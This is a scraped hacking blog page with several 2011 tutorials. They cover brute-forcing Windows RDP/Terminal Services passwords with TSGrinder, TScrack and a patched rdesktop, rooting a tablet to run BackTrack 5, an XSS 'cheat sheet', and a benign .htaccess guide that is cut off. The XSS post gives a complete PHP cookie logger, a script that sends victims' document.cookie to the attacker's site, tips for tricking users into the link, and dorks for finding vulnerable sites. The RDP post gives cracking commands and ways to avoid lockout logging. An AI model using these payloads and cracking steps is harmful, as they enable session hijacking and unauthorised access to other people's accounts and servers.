Tutorial on How to Hack Terminal Services

12/10/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: "verdana" , "sans-serif"; font-size: 8.5pt;">If  you want to do any MS Terminal Server cracking you basically have your  choice of three tools that can do it for you; TSgrinder, TScrack, and a  patched version of RDesktop. This article and its companion Video:  Terminal Server / RDP Password Cracking, takes you step-by-step through  the concepts, tools and usage. <br />
<br />
</span><br />
<div class="MsoNormal" style="margin: 0in 0in 0pt;">
<span style="font-family: "verdana" , "sans-serif"; font-size: 8.5pt;">TSGrinder is readily available from <a href="http://www.hammerofgod.com/download.html" target="_blank">http://www.hammerofgod.com/download.html</a>. </span></div>
<div class="MsoNormal" style="margin: 0in 0in 0pt;">
<span style="font-family: "verdana" , "sans-serif"; font-size: 8.5pt;"><br />
TSCrack you'll have to google for as it is not readily available anymore.</span></div>
<span style="font-family: "verdana" , "sans-serif"; font-size: 8.5pt;"><br />
Rdesktop  v1.41 can be downloaded from <a href="http://www.rdesktop.org/" target="_blank">http://www.rdesktop.org/</a> and you'll need  the patch from <a href="http://foofus.net/" target="_blank">foofus.net</a> <a href="http://www.foofus.net/jmk/rdesktop.html" target="_blank">http://www.foofus.net/jmk/rdesktop.html</a>.</span><br />
<br />
<h3 align="left">
Part 1: MS Terminal Services Overview</h3>
Hacking Exposed Windows Server 2003 goes a great overview, I won't  plagiarize it all here, so check it out for me details and the  references section of this paper for some MS references.  <br />
Prior to Terminal Services, Windows did not provide the ability to run  code remotely in the processor space of the server. Another way to put  this is there was no way to have an "interactive" session on the server.  There were tools like wsremote or psexec or VNC. If an attacker got a  non administrator level account on a remote machine they could map  shares and copy files but had a difficult time running code on the  server. Now, with Terminal Services, an attacker can log on as a non  privileged user and run exploit local exploit code via the Terminal  Services GUI. These attacks used to be fairly limited to local physical  attacks or from users who actually logging into your domain but now if  the server has Terminal Services (2000 server 2003 server) or RDP  (Windows XP) running the attack vector increases.  <br />
Terminal Services by default listen on port 3389 (but can be changed by editing the registry).  <br />
If you want to change the listening port, edit this registry key:  <br />
<span style="font-family: "courier new" , "courier" , "mono";">\HKLM\System\CurrentControlSet\Control\Terminal Server\WinStationRDP-TCP Value : PortNUmber REG_DWORD=3389 </span> <br />
To turn on Terminal Server/RDP, edit this registry key (or to turn it on via command line):  <br />
<span style="font-family: "courier new" , "courier" , "mono";">reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 </span> <br />
With this command you can enable the RDP Service.  <br />
<h3>
<b>Password Cracking Basics</b></h3>
There are three types of password attacks:  <br />
<u>Brute Force</u>: A cryptanalysis technique or other kind of attack  method involving an exhaustive procedure that tries all possibilities,  one-by-one. [1] For example, the program might follow a sequence like  this:  <br />
"aaaaaaaa"<br />
"aaaaaaab"<br />
"aaaaaaac" ...  <br />
Until the password is found  <br />
<u>Dictionary Attack</u>: An attack that tries all of the phrases or  words in a dictionary, trying to crack a password or key. A dictionary  attack uses a predefined list of words compared to a brute force attack  that tries all possible combinations. [2]  <br />
<u>Hybrid Attack</u>: A hybrid attack is a mixture of a brute force  attach and a dictionary attack. There are many different ways a hybrid  attack can be performed, in it's simplest form a hybrid attack may  simply add a couple of numbers to the end of each dictionary word tried,  this increases the number of tested combinations without having to  resort to a true brute force attack. Cracking software will often use a  combination or selection of all three methods to try and guess your  password. [3]  <br />
<h3>
Terminal Services Enumeration</h3>
You can google for "/TSWeb/default.htm"  <br />
<br />
Figure 1.1: Output of a google search for /TSWeb/default.htm  <br />
You can nmap for port 3389  <br />
  <br />
Figure 1.2: A Nmap scan looking for port 3389 open on the Class C.  <br />
<br />
Figure 1.3: Results on the Nmap Scan looking for open port 3389.  <br />
You can use ProbeTS (<a href="http://www.hammerofgod.com/download/probets.zip" target="_blank">http://www.hammerofgod.com/download/probets.zip</a>):  <br />
  <br />
Figure 1.4: The output of probeTS.  <br />
<h3>
Terminal Services Connections</h3>
Let's see what a regular Terminal Services connection looks like.  <br />
  <br />
Figure 1.5: the Terminal Services/RDP Client on Windows 2000 Pro to a Windows 2000 Terminal Server.  <br />
<br />
Figure 1.6: Issuing a command over the Terminal Services Client.  <br />
<h3>
Part 2: TSGrinder</h3>
From the TSGrinder website:<br />
"TSGrinder is the first production Terminal Server bruteforce tool. The  main idea here is that the Administrator account, since it cannot be  locked out for local logons, can be brute forced. Also having an  encrypted channel to the TS logon process sure helps to keep IDS from  catching the attempts.  <br />
TSGrinder is a "dictionary" based attack tool, but it does have some  interesting features like "l337" conversion, and supports multiple  attack windows from a single dictionary file. It supports multiple  password attempts in the same connection, and allows you to specify how  many times to try a username/password combination within a particular  connection.  <br />
Also, the problem you describe can be exacerbated in that administrator  account can be brute-forced without creating a log entry, by attempting 5  logons and disconnecting before Windows disconnects and logs after the  sixth failure."  <br />
Let's see TSGrinder in action. I had to use the Windows XP RDP client on  Windows2000 SP4 to get TSGrinder to work properly. I did not need  roboclient.zip that it mentions on the website.  <br />
  <br />
Figure 2.1: TSGrinder being run with no arguments.  <br />
  <br />
Figure 2.2: TSGrinder using a dictionary attack against the administrator account.  <br />
  <br />
Figure 2.3: A failed attempt.  <br />
<br />
Figure 2.4: if TSGrinder guesses the password it will log into the terminal services and immediately disconnect.  <br />
  <br />
Figure 2.5: A successful attempt with TSGrinder.  <br />
<br />
Figure 2.6: TSGrinder supports 2 threads. Here you can see two threads running the attack.  <br />
<br />
Figure 2.7: A successful attempt with TSGrinder that used 2 threads to run the attack.  <br />
<h3>
Part 3: TScrack</h3>
From the TScrack documentation:<br />
"The Windows Terminal Services facility offers graphical desktop  sessions to remote clients. Terminal Services enables users to work in a  windows session that exists on the server. The client functionality is  basically reduced to the functionality of a terminal, all it does is  display the session screen, and collect user input.  <br />
TScrack applies AI technology (Artificial Neural Networks) to scrape the  screen contents of the graphical logon, in order to enable a simple  dictionary based cracking algorithm to perform efficiently against the  graphically presented logon dialogs and message boxes.  <br />
This is very similar to the technology used i.e. in Optical Character  Recognition (OCR), Face- and Image recognition in general.  <br />
TScrack was written for two purposes:  <br />
a) To provide a tool to assess password security of MS RDP servers<br />
b) As proof of concept code, to point out that graphical logons are by  no means secure from automated cracking / password guessing tools <br />
  <br />
Figure 3.1: TScrack being run with no arguments.  <br />
<br />
Figure 3.2: TScrack being run against a Windows Server 2003 Terminal Server  <br />
<br />
Figure 3.3: TScrack successfully cracking the password  <br />
<br />
Figure 3.4: TScrack also does multithreading cracking, use the –t option for 2 connections <br />
  <br />
Figure 3.5: TScrack with two simultaneous connections running  <br />
<br />
Figure 3.6: TScrack successfully cracking the password  <br />
TScrack was updated to v2.1 to include brute force attacks (something TSGrinder does not do).  <br />
<br />
Figure 3.7: TScrack in Brute force mode (-B option & max word length of 6)  <br />
**Note 1: I attempted to use the –N (no logging option). Windows Server  2003 still logged every failed attempt to log on (which is good).  <br />
<br />
Figure 3.8: TScrack in Brute force mode with the –N (no logging) option  <br />
<br />
Figure 3.9: Even with –N enabled Windows Server 2003 logged the  attempts. I did not test every configuration on every type of OS, I just  noticed it was logging the attempt and shared the info.  <br />
**Note 2: I also had to drastically change the default password policy  on Server 2003 to put an easy to crack password. I chose a password of  "chrisg" as the password I wanted to brute force.  <br />
<br />
Figure 3.10: Here is the default password policy for Windows Server 2003  <br />
<br />
Figure 3.11: What I changed the password policy to, to allow "chrisg" as a password  <br />
**Note 3: I had to run TScrack 2.1 on windows 2000 machine; it wasn't  working properly on Windows XP SP2. Also, If you are getting a MSRDP.OCX  error, then uninstall TScrack using the "-U" option then reinstalling  by issuing TScrack.exe –h.  <br />
<h3>
Part 4: Rdesktop & BruteForcing RDP with Rdesktop patch</h3>
Download rdesktop version 1.41 from the website:  <br />
<a href="http://www.rdesktop.org/%20" target="_blank">http://www.rdesktop.org/%20</a><br />
<a href="http://prdownloads.sourceforge.net/rdesktop/rdesktop-1.4.1.tar.gz?download%20" target="_blank">http://prdownloads.sourceforge.net/rdesktop/rdesktop-1.4.1.tar.gz?download%20</a>  <br />
Download the rdp-bruteforce patch from <a href="http://foofus.net/" target="_blank">foofus.net</a>:  <br />
<a href="http://www.foofus.net/jmk/rdesktop.html%20" target="_blank">http://www.foofus.net/jmk/rdesktop.html%20</a><br />
<a href="http://www.foofus.net/jmk/tools/rdp-brute-force-r422.diff%20" target="_blank">http://www.foofus.net/jmk/tools/rdp-brute-force-r422.diff%20</a>  <br />
Paste the patch into the source directory and apply the patch  <br />
<span style="font-family: "courier new" , "courier" , "mono";">SegFault:/Users/chrisgates/Desktop root# cd rdesktop-1.4.1<br />
SegFault:/Users/chrisgates/Desktop/rdesktop-1.4.1 root# patch -p1 -i rdp-brute-force-r422.diff<br />
patching file orders.c<br />
patching file orders.h<br />
patching file rdesktop.c<br />
patching file rdesktop.h<br />
patching file rdp.c<br />
patching file secure.c<br />
patching file xkeymap.c</span>  <br />
compile and install rdesktop:<br />
<span style="font-family: "courier new" , "courier" , "mono";">./configure<br />
make<br />
sudo make instal</span>l  <br />
Start X-Windows/X-Darwin/X11(I used X-Darwin installed using fink using  Mac OS X Tiger). Shouldn't be an issue if you are using an linux flavor  with a GUI.  <br />
Now start Rdesktop with your passlist and user or userlist:  <br />
<span style="font-family: "courier new" , "courier" , "mono";">SegFault:~/Desktop/rdesktop-1.4.1 chrisgates$ rdesktop -u administrator -p pass.txt <a href="tel:192.168.0.105" target="_blank" value="+911921680105">192.168.0.105</a></span>  <br />
**you'll need to run this from X-Darwin/X-Windows/X-11, if you run it from the command line it will say something like:  <br />
<span style="font-family: "courier new" , "courier" , "mono";">ERROR: Failed to open display: </span> <br />
If everything is working right you'll see it opening the Rdesktop trying  to log in and then exiting. Check your command line output to see if  you were able to guess the password.  <br />
  <br />
Figure 4.1: Running Rdesktop with no parameters gives you the help menu.  <br />
  <br />
Figure 4.2: Issuing the command line parameters to start Rdestop in *nix in XDarwin.  <br />
<br />
Figure 4.3: Rdestop brute forcing the accounts.  <br />
The following output was against an XP Pro SP2 host. With XP if the user  is currently logged in, they will be forced to log off if you connect  to the machine over RDP.  <br />
<span style="font-family: "courier new" , "courier" , "mono";">SegFault:~/Desktop/rdesktop-1.4.1 chrisgates$ rdesktop -u noone -p pass.txt <a href="tel:192.168.0.105" target="_blank" value="+911921680105">192.168.0.105</a></span>  <br />
<span style="font-family: "courier new" , "courier" , "mono";">Starting dictionary attack against server <a href="tel:192.168.0.105" target="_blank" value="+911921680105">192.168.0.105</a><br />
-------------------------------------------------------<br />
Retrieved connection termination packet.<br />
Account credentials are NOT valid.<br />
Retrieved connection termination packet.<br />
[failure] User "noone" Password "test"<br />
Retrieved connection termination packet.<br />
Account credentials are NOT valid.<br />
Retrieved connection termination packet.<br />
---SNIP---<br />
[failure] User "noone" Password "admin"<br />
Retrieved connection termination packet.<br />
Account credentials are NOT valid.<br />
Retrieved connection termination packet.<br />
[failure] User "noone" Password "administrator"<br />
Valid credentials, however, another user is currently logged on.<br />
[success] User "noone" Password "noone"<br />
SegFault:~/Desktop/rdesktop-1.4.1 chrisgates$ </span> <br />
  <br />
Figure 4.4: The command line output of the successful attack against XP SP2 but with the user logged in.  <br />
Let's see Rdesktop against a Windows Server 2003.  <br />
<br />
Figure 4.5: Rdesktop against Windows Server 2003 against the "chris" account.  <br />
<br />
Figure 4.6: Rdesktop successfully cracking the password with a dictionary attack.</div>

If you want to do any MS Terminal Server cracking you basically have your choice of three tools that can do it for you; TSgrinder, TScrac...

Install Backtrack 5 On Samsung Galaxy Tab

12/05/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhggrX7gsNFCquys849k4w921e7vHUQvt4zX0gXR1YZM7UjLHPfnCriTC5ZSLJpqggMASD-8eJY_6Hc90OKCQMAtBkGWzIFlnLXcFFUW2_DAUNTMdlc4P2o74MVqYGtjO4w8psV-6VSSY6O/s1600/IMG_7595-768608.jpg"><img alt="Install Backtrack 5 On Samsung Galaxy Tab" border="0" id="BLOGGER_PHOTO_ID_5681247311530902882" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhggrX7gsNFCquys849k4w921e7vHUQvt4zX0gXR1YZM7UjLHPfnCriTC5ZSLJpqggMASD-8eJY_6Hc90OKCQMAtBkGWzIFlnLXcFFUW2_DAUNTMdlc4P2o74MVqYGtjO4w8psV-6VSSY6O/s320/IMG_7595-768608.jpg" title="Install Backtrack 5 On Samsung Galaxy Tab" /></a></div>
<br />
First thing after I get Samsung Galaxy Tab 10.1 is how can I change or add some feature about penetration testing to my Tab. So after I read "How to install Backtrack5 on Motorola Xoom by Pual[.]com, I think I can install Backtrack 5 in my Tab too. That's it. I create this tutorial after I'm successful to installing Backtrack 5 on my Tab. But please do all the steps with you risk!!!!.<br />
1. Download <a href="http://forum.xda-developers.com/attachment.php?attachmentid=593613&d=1305168395" target="_blank">rooting file</a> and transfer it to the tab.<br />
2. Go into the recovery mode with hold "Power Button and Low Volumn Button" for rebooting and when you see the 2 icon press "Low Volumn" and press "High Volumn" or "Power Button" for go to recovery mode.<br />
3. Choose "apply the update from sdcard" and choose "rooting file"<br />
After this step, you're tab was rooted now.<br />
4. Download requirement files<br />
- <a href="http://www.megaupload.com/?d=S6HSZL8H" target="_blank">P7500DXKH4_P7500OLBKH1_P7500XWKG1_HOME.tar.MD5</a><br />
- <a href="http://www.multiupload.com/5RMKLEFCTA" target="_blank">001001-P7500_KI1_Restock.zip</a><br />
- <a href="http://www.multiupload.com/CRBRV18830" target="_blank">001003-Overcome_10.1_Series_v1.1.0_P7500_Full.zip</a><br />
- <a href="http://www.multiupload.com/REAMDK5J7U" target="_blank">002001-Overcome_CWM_Recovery_v4.1.1.5.tar</a><br />
- <a href="http://droidbasement.com/galaxy/kernels/2636/20/p4-ux/boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip" target="_blank">Overclock Kernel </a><br />
*** you can change Overcome_10.1_Series_v1.1.0_P7500_Full.zip to another Custom ROM just like Starburt or something like that.<br />
5. Extract<br />
<div class="system">
001001-P7500_KI1_Restock.zip</div>
6. Go into the recovery mode with hold "Power Button and Low Volumn Button" for rebooting and when you see the 2 icon press "High Volumn" or "Power Button" for go to download mode.<br />
7. Open Odin3_v1.85 and click PDA -> P7500OXAKI1_P7500XXKI1_P7500XXKI1_HOME.tar.MD5 -> start<br />
The tab will restart after this step is done.<br />
8. Copy file Overcome_10.1_Series_v1.1.0_P7500_Full.zip and boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip to the tab<br />
9. Go to the download mode again.<br />
10. In the Odin, click PDA -> Overcome_CWM_Recovery_v4.1.1.5.tar -> start<br />
11. Go to the recovery mode<br />
12. Go to install menu -> choose zip from internal storage with data wipe -> Overcome_10.1_Series_v1.1.0_P7500_Full.zip -> install menu -> choose zip from internal storage -> boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip<br />
13. Now you're root and get the new custom ROM. So install Android SDK and download Backtrack5 ARM version.<br />
- <a href="http://developer.android.com/sdk/index.html#top" target="_blank">Android SDK </a><br />
- <a href="http://www.backtrack-linux.org/downloads/" target="_blank">Backtrack 5 ARM</a><br />
14. Copy Backtrack into your tab or use the adb for install busybox and upload Backtrack into the tab.<br />
<div class="command wobble-horizontal ">
<code class="prettyprint"> Go to C:\Program Files\Android\android-sdk\platform-tools<br />
adb.exe shell<br />
mkdir /sdcard/BT5<br />
exit<br />
adb.exe push busybox /sdcard/<br />
adb.exe push installbusybox.sh /sdcard<br />
adb.exe push fsrw /sdcard/BT5/<br />
adb.exe push mountonly /sdcard/BT5/<br />
adb.exe push bootbt /sdcard/BT5/<br />
adb.exe push bt5.img.gz /sdcard/BT5/<br />
adb.exe push unionfs /sdcard/BT5/<br />
</code></div>
<br />
***If you use SSHDroid to enable SSHD in your tab.[Default SSH User: root and Password: admin]<br />
15. Go to the terminal of Tab with ConnectBot and choose local to connect in your Tab. I don't know you can use sshd to complete this step or not but you can try it for easy typing.<br />
16. Remove the Tab from PC.<br />
17. Go to /sdcard/BT5 and unzip bt5.img.gz<br />
<div class="command wobble-horizontal ">
<code class="prettyprint">cd /sdcard/BT5<br />
gunzip bt5.img.gz</code></div>
<br />
18. Start BT5<br />
<div class="command wobble-horizontal ">
<code class="prettyprint">sh bootbt</code></div>
<br />
19. So now you're in the chroot of Backtrack5<br />
<div class="command wobble-horizontal ">
<code class="prettyprint"> net.ipv4.ip_forward = 1<br />
ls /pentest/<br />
backdoors databaseexploits passwords scanners stressing voip<br />
cisco enumeration forensics pythonsniffers tunneling web</code></div>
<br />
20. Run the startvnc<br />
<div class="command wobble-horizontal ">
<code class="prettyprint">startvnc</code></div>
<br />
*** You can change resolution of vnc with nano /usr/bin/startvnc<br />
21. Now vnc is running, you can check what is the port number that was use by vnc with<br />
<div class="command wobble-horizontal ">
<code class="prettyprint">netstat -napt</code></div>
<br />
21. Now you can connect vnc server with androidVNC or whatever that you can find in the Android Market.<br />
*** Default password of vnc server is "toortoor"<br />
22. Finally you can do anything that you can do in Backtrack5 on your Tab, have a nice hack<br />
<div dir="ltr">
</div>
</div>

Backtrack Hacking Hacking Tutorials Linux OS Tricks Tutorials Install Backtrack 5 On Samsung Galaxy Tab

First thing after I get Samsung Galaxy Tab 10.1 is how can I change or add some feature about penetration testing to my Tab. So after I ...

XSS cheat sheet

12/02/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip6EdeQi9ETgI42fZ4kls4ni867ROiNB5N22o0sDG3nk_P_X9dvjx_dhAnIeoWkpMNLKUV9mHsBAg94MIK7uyXKurlxp5OT87jo_QoYG56QxClr2FuDJloiC6rDyObG92ZWsdQImNXy2MF/s1600/xss-threat3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip6EdeQi9ETgI42fZ4kls4ni867ROiNB5N22o0sDG3nk_P_X9dvjx_dhAnIeoWkpMNLKUV9mHsBAg94MIK7uyXKurlxp5OT87jo_QoYG56QxClr2FuDJloiC6rDyObG92ZWsdQImNXy2MF/s1600/xss-threat3.jpg" /></a></div><br />
Before we start <span style="color: mediumblue;">what is XSS?</span> let's come to basic !! hmm what is <span style="color: darkgreen;">cookie</span> , don't say something like eating stuff.<br />
<span style="color: darkgreen;"><span style="font-weight: bold;">COOKIE</span></span>: <br />
<div class="define border-fade">A cookie is the variable that web-browsers use to store your login  credentials. Without a cookie, you cannot "stay logged in" on websites.</div><span style="color: purple;"><span style="font-weight: bold;">CROSS SITE SCRIPTING</span></span>: <br />
<div class="define border-fade">Cross-Site Scripting is the process of injecting JavaScript (mainly) and also HTML into a webpage.</div><br />
SOME POINTS ON XSS :<br />
<blockquote>@ -XSS attacks almost always focus upon sites which use cookies for storing our username and password.<br />
@-XSS is used to harm the website (may be defacing ).</blockquote><span style="font-style: italic;">tRAdiTIOnAL Type$</span>: <span style="color: mediumblue;">type0</span> , <span style="color: darkslateblue;">type1</span>, <span style="color: mediumvioletred;">type2</span><br />
<span style="color: mediumblue;">type 0 =DOM-based</span>:<br />
<br />
<div class="spoiler_body" style="display: block;">DOM-based  is an XSS attack wherein the attack payload is executed as a result of  modifying the DOM “environment” in the slave’s browser used by the  original client side script, so that the client side code runs in an  “unexpected” manner. That is, the page itself (the HTTP response that  is) does not change, but the client side code contained in the page  executes differently due to the malicious modifications that have  occurred in the DOM environment.</div><br />
<span style="color: darkslateblue;">type 1 = Non Persistence</span> :<br />
<br />
<div class="spoiler_body" style="display: block;">It  means that the injected code is not permanent and is for small time  till the user is on page or having the url with malicious code.</div><span style="color: mediumvioletred;">type 2 = Persistence</span> :<br />
<br />
<div class="spoiler_body" style="display: block;">It means that the injected code is permanent and will stay on the site and output can be seen by any user of site.</div><br />
Now the question is how to check whether the site is xss vulnerable or not ?<br />
There are two methods to check this:<br />
<br />
<h3>1.POST:: </h3><a href="http://www.target.com/search.php" target="_blank">http://www.target.com/search.php</a> ( we put malacious code in search engine)<br />
<div class="program glow"><pre><code class="prettyprint"><script>alert(“xss”);</script></code></pre></div><br />
<h3>2.GET :</h3><div class="heightlight">http://www.target.com/search=<script>alert(</a>"xss");</script></div>We directly put the script in url of browser<br />
<br />
<span style="color: mediumvioletred;"> </span>what else we can do ..??<br />
--><span style="text-decoration: underline;">Insert image</span>:<br />
<div class="program glow"><pre><code class="prettyprint"><img src=“url of the image”></img></code></pre></div>--><span style="text-decoration: underline;">Insert message</span>:<br />
<div class="program glow"><code class="prettyprint"><b>this is hacked </b></code></div>--><span style="text-decoration: underline;">Redirect to your page</span> :<br />
<div class="program glow"><code class="prettyprint"><script>window.open( "http://www.yoursite.com/" )</script></code></div><br />
But main aim of xss is to steal cookies so here is cookie stealing.<br />
COOKIE STEALING TUTORIAL:<br />
<div class="program glow"><code class="prettyprint"><br />
<?php<br />
<br />
function GetIP()<br />
{<br />
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))<br />
        $ip = getenv("HTTP_CLIENT_IP");<br />
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))<br />
        $ip = getenv("HTTP_X_FORWARDED_FOR");<br />
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))<br />
        $ip = getenv("REMOTE_ADDR");<br />
    else if (isset($_SERVER['REMOTE_ADDR']) &&  $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],  "unknown"))<br />
        $ip = $_SERVER['REMOTE_ADDR'];<br />
    else<br />
        $ip = "unknown";<br />
    return($ip);<br />
}<br />
<br />
function logData()<br />
{<br />
    $ipLog="log.txt";<br />
    $cookie = $_SERVER['QUERY_STRING'];<br />
    $register_globals = (bool) ini_get('register_gobals');<br />
    if ($register_globals) $ip = getenv('REMOTE_ADDR');<br />
    else $ip = GetIP();<br />
<br />
    $rem_port = $_SERVER['REMOTE_PORT'];<br />
    $user_agent = $_SERVER['HTTP_USER_AGENT'];<br />
    $rqst_method = $_SERVER['METHOD'];<br />
    $rem_host = $_SERVER['REMOTE_HOST'];<br />
    $referer = $_SERVER['HTTP_REFERER'];<br />
    $date=date ("l dS of F Y h:i:s A");<br />
    $log=fopen("$ipLog", "a+");<br />
<br />
    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))<br />
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : }  $date | COOKIE:  $cookie <br>");<br />
    else<br />
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host  |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE:  $date | COOKIE:  $cookie \n\n");<br />
    fclose($log);<br />
}<br />
<br />
logData();<br />
<br />
?></code></div><br />
now how to use this code???<br />
This is done by three-step process consisting of the injected script, the cookie recorder, and the log file.<br />
<br />
First you'll need to get an account on a server and create two files,  log.txt and giveyourname.php. You can leave log.txt empty. This is the  file your cookie stealer will write to. Now paste this php code into  your cookie stealer script (give your name.php) [code metion above].<br />
above script will record the cookies of every user that views it.<br />
<div class="program glow"><pre><code class="prettyprint"><script language=  "JavaScript">
document.location="http://yoursite.com/giveyourname.php?cookie="  +  document.cookie;document.location="http://www.whateversite.com"
</script>
</code></pre></div>now above code is injected to the xss vulnerable site page via get or post method: what does this code do??<br />
The above code redirects the viewer to your script, which records their  cookie to your log file. It then redirects the viewer back to the  unmodified search page so they don't know anything happened.<br />
<br />
<br />
If this code works then you'll automatically gets the cookie in  yoursite, other wise you have to do some hard work !! grab the link  which you get after the insertion of above script. And manually get  someone to use that link if necessary. o0ps all s done at this point.<br />
<br />
##All you need to do now is go to your website and check the<span style="color: maroon;"><span style="font-weight: bold;"> log file</span></span><br />
<br />
YOU CAN TRY TO LOOK HERE =<br />
<div class="content shadow-radial">SEARCH BOX<br />
SHOUT BOX<br />
BLOGS<br />
COMMENT BOX<br />
LOGIN BOX<br />
FEEDBACK FORMS</div><br />
Hey there are still so many xss vulnerable sites , the thing is you should spent maximum time on internet in search for them:<br />
here are few dorks for you:<br />
<div class="content shadow-radial">inurl:search.php?q=<br />
inurl:com_feedpostold/feedpost.php?url=<br />
inurl:scrapbook.php?id=<br />
inurl:headersearch.php?sid=<br />
inurl:/poll/default.asp?catid=<br />
inurl:/search_results.php?search=<br />
/preaspjobboard//Employee/emp_login.asp?msg1=<br />
pages/match_report.php?mid= pages/match_report.php?mid=<br />
inurl:?msg=</div></div>

Hacking Hacking Tutorials Tutorials Vulnerability XSS XSS cheat sheet

Before we start what is XSS? let's come to basic !! hmm what is cookie , don't say something like eating stuff. COOKIE : A cook...

.htaccess Tutorial

12/01/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoUzVQuiQnyEvjAegmfFGI4ynoH_7lHJki6aEwr8O4uiWze5AcKjDD-5rI3n7Yv_Vo14c6NMaICeO3LfLgTMIcZwCM5cEdKm_x1SWSjWvtd6w5hjtgszTWGb_Bm3cAMmb4xYzhaLmKzx4t/s1600/htaccess.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoUzVQuiQnyEvjAegmfFGI4ynoH_7lHJki6aEwr8O4uiWze5AcKjDD-5rI3n7Yv_Vo14c6NMaICeO3LfLgTMIcZwCM5cEdKm_x1SWSjWvtd6w5hjtgszTWGb_Bm3cAMmb4xYzhaLmKzx4t/s1600/htaccess.gif" /></a></div>
<br />
<ul>
<li>Part 1 - Introduction</li>
<li><a href="http://rah-labs.blogspot.com/2011/12/htaccess-tutorial.html#Part2" target="">Part 2 - .htaccess Commands</a></li>
<li><a href="http://rah-labs.blogspot.com/2011/12/htaccess-tutorial.html#Part3" target="">Part 3 - Password Protection</a></li>
</ul>
<br />
<h3>
Introduction</h3>
<br />
In this tutorial you will find out about the .htaccess file and the  power it has to improve your website. Although .htaccess is only a file,  it can change settings on the servers and allow you to do many  different things, the most popular being able to have your own custom  404 error pages. .htaccess isn't difficult to use and is really just  made up of a few simple instructions in a text file.<br />
<br />
<h3 style="color: #000099;">
Will My Host Support It?</h3>
<br />
This is probably the hardest question to give a simple answer to. Many  hosts support .htaccess but don't actually publicise it and many other  hosts have the capability but do not allow their users to have a  .htaccess file. As a general rule, if your server runs Unix or Linux, or  any version of the Apache web server it will support .htaccess,  although your host may not allow you to use it.<br />
<br />
A good sign of whether your host allows .htaccess files is if they  support password protection of folders. To do this they will need to  offer .htaccess (although in a few cases they will offer password  protection but not let you use .htaccess). The best thing to do if you  are unsure is to either upload your own .htaccess file and see if it  works or e-mail your web host and ask them.<br />
<br />
<h3 style="color: #000099;">
What Can I Do?</h3>
<br />
You may be wondering what .htaccess can do, or you may have read about  some of its uses but don't realise how many things you can actually do  with it.<br />
<br />
There is a huge range of things .htaccess can do including: password  protecting folders, redirecting users automatically, custom error pages,  changing your file extensions, banning users with certian IP addresses,  only allowing users with certain IP addresses, stopping directory  listings and using a different file as the index file.<br />
<br />
<h3 style="color: #000099;">
Creating A .htaccess File</h3>
<br />
Creating a .htaccess file may cause you a few problems. Writing the file  is easy, you just need enter the appropriate code into a text editor  (like notepad). You may run into problems with saving the file. Because  .htaccess is a strange file name (the file actually has no name but a 8  letter file extension) it may not be accepted on certain systems (e.g.  Windows 3.1). With most operating systems, though, all you need to do is  to save the file by entering the name as:<br />
<span style="color: blue; font-family: "arial";">".htaccess"</span> (including the quotes). If this doesn't work, you will need to name it  something else (e.g. htaccess.txt) and then upload it to the server.  Once you have uploaded the file you can then rename it using an FTP  program.<br />
<br />
<h3 style="color: #000099;">
Warning</h3>
<br />
Before beginning using .htaccess, I should give you one warning.  Although using .htaccess on your server is extremely unlikely to cause  you any problems (if something is wrong it simply won't work), you  should be wary if you are using the Microsoft FrontPage Extensions. The  FrontPage extensions use the .htaccess file so you should not really  edit it to add your own information. If you do want to (this is not  recommended, but possible) you should download the .htaccess file from  your server first (if it exists) and then add your code to the  beginning.<br />
<br />
<h3 style="color: #000099;">
Custom Error Pages</h3>
<br />
The first use of the .htaccess file which I will cover is custom error  pages. These will allow you to have your own, personal error pages (for  example when a file is not found) instead of using your host's error  pages or having no page. This will make your site seem much more  professional in the unlikely event of an error. It will also allow you  to create scripts to notify you if there is an error (for example I use a  PHP script on Free Webmaster Help to automatically e-mail me when a  page is not found).<br />
<br />
You can use custom error pages for any error as long as you know its  number (like 404 for page not found) by adding the following to your  .htaccess file:<br />
<div class="content shadow-radial">
ErrorDocument errornumber /file.html</div>
<br />
For example if I had the file notfound.html in the root directory of my site and I wanted to use it for a 404 error I would use:<br />
<div class="content shadow-radial">
ErrorDocument 404 /notfound.html</div>
<br />
If the file is not in the root directory of your site, you just need to put the path to it:<br />
<div class="content shadow-radial">
ErrorDocument 500 /errorpages/500.html</div>
<br />
These are some of the most common errors:<br />
<div class="content shadow-radial">
401 - Authorization Required<br />
400 - Bad request<br />
403 - Forbidden<br />
500 - Internal Server Error<br />
404 - Wrong page</div>
<br />
Then, all you need to do is to create a file to display when the error happens and upload it and the .htaccess file.<br />
<br />
<h3 style="border: none;">
<a href="https://www.blogger.com/null" name="Part2"></a>Part 2 - .htaccess Commands</h3>
<br />
<h3 style="color: #000099;">
